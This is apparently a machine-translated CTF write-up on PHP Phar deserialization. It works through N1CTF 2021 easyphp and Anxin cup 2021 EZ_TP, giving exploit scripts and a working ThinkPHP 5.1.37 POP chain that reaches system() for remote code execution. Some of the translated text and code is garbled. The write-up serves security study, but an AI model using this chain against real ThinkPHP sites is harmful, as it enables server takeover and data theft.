On the exploitation of Phar deserialization vulnerability: N1CTF 2021 easyphp & an Xun cup 2021 EZ_TP

Phar

What is Phar

PHp ARchive, like a Java JAR, but for PHP.

Phar (PHp ARchive) is a packaged file similar to JAR. PHP ≥ 5.3 supports phar suffix files by default. You can use it without any other installation.

The phar extension provides a way to put an entire PHP application into a. Phar file for easy movement and installation The biggest feature of phar file is a convenient way to combine several files into one file. Phar file provides a method to distribute and run complete PHP programs in one file.

To put it bluntly, it is a compressed file, but it can not only put the compressed file in.

Before further exploration, you need to adjust the configuration, because PHP is read-only by default for the operations related to the Phar file (that is, simply using the Phar file does not require any adjustment of the configuration). However, because we need to create our own Phar file now, we need to allow writing Phar files, which needs to be modified   php.ini

open   php.ini, find   phar.readonly   Command line, modified to:

phar.readonly = 0

Just.

Phar file format

The Phar file consists of four parts:

1.stub

stub is the header of the phar file in the format xxxxxx <? php ...;__ HALT_ COMPILER();?>, xxxxxx can be any character, including blank, and there can be no more than one space character between the PHP closing character and the last semicolon. In addition, the PHP closure can also be omitted.

2.manifest describing the contents

This area stores the attribute information of phar package, allowing each file to specify file compression, file permissions, and even user-defined metadata, such as file users or groups.

The metadata is stored in the form of serialize, laying the groundwork for the deserialization vulnerability.

3.file contents

Compressed user added file content

4.signature

Optional. Signature of phar file. MD5, SHA1, SHA256, SHA512 and OPENSSL are allowed

This section ends with GBMB (47 42 4d 42).

Note that the stub does not have to be at the beginning of the file.

Utilization mode

It's a PHP serialization vulnerability Jim, but not as we know it

https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf

Taking advantage of the feature that phar file will store user-defined meta data in the form of serialization, the attack surface of php deserialization vulnerability is expanded. When the parameters of file system functions (file_exists(), is_dir(), etc.) are controllable, this method can directly deserialize without relying on unserialize() in combination with phar: / / pseudo protocol.

In other words, if we can control the parameters passed into the following functions, there may be potential exploitation of phar deserialization vulnerability:

There are other functions available. Please refer to this article: https://www.freebuf.com/articles/web/205943.html

have a try?

Let's generate a phar first:

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //Suffix must be phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //Set stub
    $o = new TestObject();
    $phar->setMetadata($o); //Save the customized meta data into the manifest
    $phar->addFromString("test.txt", "test"); //Add files to compress
    //Automatic signature calculation
    $phar->stopBuffering();
?>

Note that $o deserialization here will only save data, not methods. After execution, let's observe the contents of the phar file:

The signature at the end of GBMB and the serialized metadata are clearly visible.

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/test.txt';// Since it is a compressed file, we can access one of them in this way
    file_get_contents($filename); 
?>

After the above program is executed, we will find that it outputs "destroy called". This is because the metadata is deserialized when phar is parsed, so the instance is called when it is parsed__ destruct function. This is the reason for the deserialization vulnerability.

PHP ≥ 5.3 supports phar files by default; In PHP8, the vulnerability is fixed: metadata will not be deserialized automatically. (source request)

What is phar: / /

As mentioned earlier, we often use phar: / / pseudo protocol to parse phar files. In CTF, because the pseudo protocol provides a series of file encapsulation protocols, when the source program has controllable file containing functions, we have the opportunity to use these protocols to control its return value or complete some unexpected operations (such as deserialization). As a kind of pseudo protocol, phar is essentially a special compressed file, so phar: / / and zip: / / actually have many similarities. They can access the sub files in the compressed package, and zip: / / requires the absolute path of the file, but phar: / / does not. (source request)

Little tricks

Bypass prefix filtering

Several example s of the team master can be used analogically. They all call phar when the prefix is not phar: / /://

compress.bzip2 and compress.zlib

<?php
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
file_get_contents($z);

php://

<?php
include('php://filter/read=convert.base64-encode/resource=phar://phar.phar');
file_get_contents('php://filter/read=convert.base64-encode/resource=phar://phar.phar');

Simple bypass

We can use the arbitrary prefix of stub part:

<?php
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //Set the stub and increase the gif file header

This bypasses some of the detection of file headers.

Bypass front and rear dirty data

Due to the existence of the signature part, php will verify the file hash value and check whether the end is GBMB. The following is the source code of the parsing part:

https://github.dev/php/php-src

It can be seen that if the end is not GBMB, it will directly lead to parsing failure.

Exploiting this vulnerability in CTF requires us to complete the write / upload phar and call the file inclusion function. We know a word, because there is <? php ?> Such head and tail identification exists, which can ignore the front and rear dirty data; However, for phar, such operations are blocked by the signature part. Is there a way around it? See: https://www.php.net/manual/zh/phar.converttoexecutable.php

Using the convertToExecutable function, we can convert the phar file into phar files in other formats, such as. tar and. zip formats.

We take N1CTF easyphp as an example. This problem allows us to write logs, and we can use phar deserialization to get flag s. The difficulty is that there is additional dirty data before and after the log file, which will make our phar file unable to be parsed.

However, if the phar is stored in tar format, the dirty data at the end will not affect the parsing (which is determined by the tar format), and the dirty data at the beginning can be constructed in advance when manufacturing the phar file (so that this part of the data will also be included in the signature calculation). When writing to the log, it is not necessary to write this part, but to splice it with the dirty data to form a legal phar. Expand as follows:

<?php
		CLASS FLAG {
    public function __destruct(){
            echo "FLAG: " . $this->_flag;
        } 
    }
    $sb = $_GET['sb'];
    $ts = $_GET['ts'];
    $phar = new Phar($sb.".phar"); //Suffix must be phar
    **$phar = $phar->convertToExecutable(Phar::TAR); //*. phar.tar is generated**
    
    $phar->startBuffering();
    $phar->addFromString("Time: ".$ts." IP: [], REQUEST: [log_type=".$sb."], CONTENT: [", ""); //Add files to compress
    //The tar file starts with the file name of the first file to be added. Be careful not to add files in the wrong order
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //Set stub
    $o = new FLAG();
		$o -> data = 'g0dsp3ed_1s_g0D';
    $phar->setMetadata($o); //Save the customized meta data into the manifest
    //Automatic signature calculation
    $phar->stopBuffering();
?>

Run this on the local web service, and then write a script (it was ugly in the middle of the night, leaving some garbage files for the master in the light spray team to write much cleaner):

import requests as rq
import json 
import time
import random
ip = '<here_is_remote_ip>'
def generate_random_str(randomlength=16):
  """
  Generates a random string of a specified length
  """
  random_str = ''
  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
  length = len(base_str) - 1
  for i in range(randomlength):
    random_str += base_str[random.randint(0, length)]
  return random_str
def new_one(offset):
    rd = generate_random_str(4)
    ts2 = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()+offset))
    ts = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))
    res = rq.get(url=f"http://127.0.0.1/test.php? Sb = {Rd} & TS = {TS2} ") # access locally generated phar
    with open(f'{rd}.phar.tar',"rb") as f: 
        data = f.read()
    data = data[70::]#Remove the front redundant part to splice with the front of the log to form a legal *. phar.tar
    headers = {'content-type': 'application/x-www-form'}  # Source text
    res = rq.post(url=f"http://43.155.59.185:53340/log.php?log_type={rd}",data=data) # write log
    res = rq.post(url=f"http://43.155.59.185:53340?file=phar://./log/{ip}/{rd}_www.log ") # deserialization
    print(res.text)
for i in range(-30,30):#Considering the time difference between local and remote, a 30s window period is set here
    new_one(i)
    time.sleep(0.9)
"""The generated file is so long
00000000: 5469 6d65 3a20 3230 3231 2d31 312d 3232  Time: 2021-11-22
00000010: 2030 363a 3533 3a31 3520 4950 3a20 5b5d   06:53:15 IP: []
00000020: 2c20 5245 5155 4553 543a 205b 5d2c 2043  , REQUEST: [], C
00000030: 4f4e 5445 4e54 3a20 5b5f 5f5f 5f5f 5f5f  ONTENT: [_______
00000040: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f  ________________
00000050: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f  ________________
00000060: 5f5f 5f5f 3030 3030 3634 3400 0000 0000  ____0000644.....
00000070: 0000 0000 0000 0000 0000 0000 3030 3030  ............0000
00000080: 3030 3030 3032 3400 3134 3134 3636 3337  0000024.14146637
00000090: 3133 3300 3030 3233 3534 3320 3000 0000  133.0023543 0...
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
"""

Not just tar, there are other formats:


https://www.php.net/manual/zh/phar.converttoexecutable.php

Corresponding code:

<?php
$phar = $phar->convertToExecutable(Phar::TAR,Phar::BZ2);//xxxx.phar.tar.bz2 is generated
$phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);//xxxx.phar.tar.gz is generated
$phar = $phar->convertToExecutable(Phar::ZIP);//xxxx.phar.zip is generated

POP chain

POP(property oriented programming), to put it bluntly, is an attack method that achieves a specific purpose through a series of magic method / special method calls. In essence, it triggers other special methods in the process of calling these methods, causing a chain reaction until the target is touched. phar deserialization enables such attacks to succeed even when there is no unserlize function, which is the so-called "expanding the attack surface". We have just finished the Anxin cup 2021 EZ_TP is an example.

The website uses ThinkPHP V5.1.37, which is available on the Internet POP chain , now we need to complete the deserialization attack without the deserialize function.

<?php
namespace app\index\controller;
use think\Controller;

class Index extends controller
{
    public function index()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333; font-size:18px;}  H1 {font size: 100px; font weight: normal; margin bottom: 12px;} P {line height: 1.6em; font size: 42px} < / style > < div style = "padding: 24px 48px;" > < H1 >:) < / H1 > < p > ThinkPHP V5.1 < br / > < span style = "font size: 30px" > 12 years without change (2006-2018) - your trusted PHP framework < / span > < / P > < / div > < script type = "text / JavaScript" SRC= " https://tajs.qq.com/stats?sId=64890268 " charset="UTF-8"></script><script type="text/javascript" src=" https://e.topthink.com/Public/static/client.js "></script><think id="eab4b9f840753f8e7"></think>';
    }

    public function hello()
    {
        highlight_file(__FILE__);
        $hello = base64_encode('Welcome to D0g3');
        if (isset($_GET['hello'])||isset($_POST['hello'])) exit;
        if(isset($_REQUEST['world']))
        {
            parse_str($_REQUEST['world'],$haha);
            extract($haha);
        }
        if (!isset($a)) {
            $a = 'hello.txt';
        }
        $s = base64_decode($hello);
        file_put_contents('hello.txt', $s);
        if(isset($a))
        {
            echo (file_get_contents($a));
        }
    }
}

parse_str() and extract() enable us to write and read files arbitrarily through variable overwrite, and $a can use pseudo protocol. Then the next thing is right: write a phar in hello.txt, put the reverse sequencing of ThinkPHP 5.1.37 in the metadata, and use the chain to complete RCE. (for the principle of this POP chain, see https://www.hacking8.com/bug-web/Thinkphp/Thinkphp- Deserialization vulnerability / Thinkphp-5.1.37 - deserialization vulnerability.html (very detailed)

<?php
namespace think{
    abstract class Model{
        protected $append = [];
        private $data = [];
        function __construct(){
            $this->append = ["ethan"=>["godspeedyyds","xtxyyds"]];
            $this->data = ["ethan"=>new Request()];
        }
    }
    class Request{
        protected $hook = [];
        protected $filter = "system";
        protected $config = [
            'var_method'       => '_method',
            'var_ajax'         => '_ajax',
            'var_pjax'         => '_pjax',
            'var_pathinfo'     => 's',
            'pathinfo_fetch'   => [
                'ORIG_PATH_INFO',
                'REDIRECT_PATH_INFO',
                'REDIRECT_URL'
            ],
            'default_filter'   => '',
            'url_domain_root'  => '',
            'https_agent_name' => '',
            'http_agent_ip'    => 'HTTP_X_REAL_IP',
            'url_html_suffix'  => 'html',
        ];
        protected $param = ['cat /y0u_f0und_It'];
        function __construct(){
            $this->filter = "system";
            $this->config = ["var_ajax"=>''];
            $this->hook = ["visible"=>[$this,"isAjax"]];
        }
    }
}

namespace think\process\pipes{
    use think\model\concern\Conversion;
    use think\model\Pivot;
    class Windows{
        private $files = [];

        public function __construct(){
            $this->files = [new Pivot()];
        }
    }
}

namespace think\model{
    use think\Model;

    class Pivot extends Model{

    }
}

namespace{
    use think\process\pipes\Windows;
    $w = new Windows();

    $p = new Phar('phar.phar');
    $p->startBuffering();
    $p->setStub('<?php __HALT_COMPILER();?>');
    $p->setMetadata($w);
    $p->addFromString("test", "12345");
    $p->stopBuffering();
}

Generate phar after execution, and then execute the script

import requests
import urllib.parse
import base64
import os
with open('phar.phar','rb') as f:
    s = f.read()

s = urllib.parse.quote(base64.b64encode(s).decode())
# print(s)
remote = '<here_is_remote_ip>'
sess =requests.session()
r = sess.post(
    url = f'http://{remote}/index.php/index/index/hello',
    params={
        'ethan':'<here_is_your_shell_command>'
    },
    data = {
        'world':f'hello={s}&a=phar://./hello.txt'
    }
)
print(r.text)

Successful RCE

summary

Phar deserialization provides a way and entry to extend the attack surface of deserialization vulnerability, so various attack tricks (such as reference bypass) based on the deserialize() function are still applicable. In view of the large number of design versions of phar deserialization vulnerability, it is believed that it will still play stably in the CTF competition.

reference material:

Thinkphp-5.1.37 - deserialization vulnerability

https://www.php.net/manual/zh/class.phar.php

Thinkphp 5.1.37 deserialization vulnerability

us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It

https://github.dev/php/php-src

packaging-your-php-apps-with-phar

Summary of extended operation of PHAR deserialization

Keywords: Web Development security CTF

Added by phpjaco on Sun, 28 Nov 2021 08:12:23 +0200